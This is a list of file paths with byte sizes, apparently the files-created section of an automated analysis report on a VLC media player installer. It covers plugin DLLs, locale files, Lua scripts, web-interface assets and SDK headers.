%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED8.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
